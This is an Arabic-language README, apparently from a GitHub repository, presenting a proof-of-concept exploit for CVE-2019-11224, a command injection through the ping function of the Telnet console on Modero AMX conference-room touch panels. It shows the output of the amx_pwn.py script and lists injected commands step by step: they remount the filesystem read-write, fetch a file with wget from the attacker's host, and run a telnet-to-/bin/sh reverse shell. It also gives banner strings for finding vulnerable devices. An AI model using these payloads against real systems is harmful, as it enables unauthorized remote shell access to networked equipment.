تنفيذ كود Modero AMX (CVE-2019-11224)

يحتوي هذا المستودع على بعض المصادر حول CVE-2019–11224 (https://link.medium.com/zukA0oCnV8) لأنني لاحظت أن الرابط لم يعد يعمل على الموقع الرسمي لـ NIST. أجهزة Modero AMX هي في الأساس أجهزة لوحية تعمل باللمس لغرف الاجتماعات، ويمكن ملاحظتها في العديد من البيئات المختلفة وعادةً ما يكون Telnet مفتوحًا. نظرًا لأنها تحاكي وحدة تحكم غير مثالية باستخدام Telnet، فهناك ثغرة حقن كود من خلال وظيفة "ping" باستخدام فواصل الأوامر.

منذ إنشاء مستودع GitHub هذا والتجربة على أجهزة AMX، قمت بإنشاء POC وعملية استغلال للحصول على شل عكسية باستخدام هذه الثغرة. آمل أن يجلب لك السعادة :}

🐢 الحصول على شل باستخدام amx_pwn.py

لقد كتبت POC amx_pwn.py قد يكون مفيدًا. مثال على الإخراج أدناه:

┌──(cozyfox㉿submarine)-[/CVE-2019-11224]
└─$ python3 amx_pwn.py -t 192.168.0.21 -fs 192.168.0.41 -fn something.jpg -v 1
[!] Your current settings are:
[*] Target: 192.168.0.21
[*] FileServer and Filename URL: http://192.168.0.41/something.jpg
[*] Verbosity: 1
(^_^)7  Continue? (Y/N): y
[*] RUNNING
Telnet(192.168.0.21,23): recv b'\xff\xfb\x01\r\nWelcome to Modero v2.86.50 Copyright (C) AMX '
Telnet(192.168.0.21,23): IAC WILL 1
Telnet(192.168.0.21,23): recv b'LLC 2002-2009\r\n>'
b'\r\nWelcome to Modero v2.86.50 Copyright (C) AMX LLC 2002-2009\r\n>'
Telnet(192.168.0.21,23): send b"ping ;CMD=$'\\x20-o\\x20remount,rw\\x20/'&&mount$CMD\r\n"
Telnet(192.168.0.21,23): recv b'\xff\xfc\x01'
Telnet(192.168.0.21,23): IAC WONT 1
<..cut to remove clutter...>
Telnet(192.168.0.21,23): recv b'\xff\xfc\x01'
Telnet(192.168.0.21,23): IAC WONT 1
taking a snooze
Telnet(192.168.0.21,23): send b"ping ;CMD=$'\\x20http://192.168.0.41/something.jpg'&&wget$CMD\r\n"
taking a snooze
...

الخطوات اللازمة للقيام بذلك يدويًا موضحة أدناه:

• إعادة تحميل نظام الملفات للقراءة/الكتابة:
  ping ;CMD=$'\x20-o\x20remount,rw\x20/'&&mount$CMD
• استضافة ملف يمكن للجهاز الوصول إليه - يجب أن يكون المحتوى كالتالي:
  ملاحظة: تحتاج إلى مستمعين netcat، واحد للإدخال والآخر للإخراج.
  telnet {YOUR_IP} 1332 | /bin/sh | telnet {YOUR_IP} 1333
• تنزيل ملفك - ملاحظة: يجب أن يكون عنوان IP ويتم تقديمه عبر HTTP. هذه الأجهزة قديمة.
  ping ;CMD=$'\x20http://{YOUR_SYSTEM}/{YOUR_FILE}'&&wget$CMD
• تنفيذ ملفك والتقاط الشل:
  ping ;CMD=$'\x20{YOUR_FILE}'&&/bin/sh$CMD

👁️ التعرف على خدمة Modero AMX

تحقق من لافتات Telnet (عادةً المنفذ 23) التي تحتوي على: Welcome to Modero: أو Copyright (C) AMX LLC. ابحث عن الإصدارات السابقة لـ 2.87.13